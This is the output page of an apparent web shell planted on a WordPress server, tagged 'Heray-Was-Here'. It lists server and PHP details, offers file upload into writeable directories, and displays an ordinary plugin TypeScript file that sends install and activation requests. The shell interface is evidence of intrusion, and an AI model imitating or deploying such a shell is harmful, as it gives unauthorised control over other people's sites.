Heray-Was-Here
Server : Apache/2.4.52 (Debian)
System : Linux 1b21ca041b67 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User : www-data ( 33)
PHP Version : 7.4.28
Disable Function : NONE
Directory :  /var/www/html/wp-content/plugins/leadin/scripts/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/wp-content/plugins/leadin/scripts/utils/contentEmbedInstaller.ts
type ContentEmbedInfoResponse = {
  success: boolean;
  data?: {
    // Empty if user doesn't have permissions or plugin already activated
    activateAjaxUrl?: string;
    message: string;
  };
};

export function startInstall(nonce: string) {
  const formData = new FormData();
  const ajaxUrl = (window as any).ajaxurl;
  formData.append('_wpnonce', nonce);
  formData.append('action', 'content_embed_install');
  return fetch(ajaxUrl, {
    method: 'POST',
    body: formData,
    keepalive: true,
  }).then<ContentEmbedInfoResponse>(res => res.json());
}

export function startActivation(requestUrl: string) {
  return fetch(requestUrl, {
    method: 'POST',
    keepalive: true,
  }).then<ContentEmbedInfoResponse>(res => res.json());
}

Hry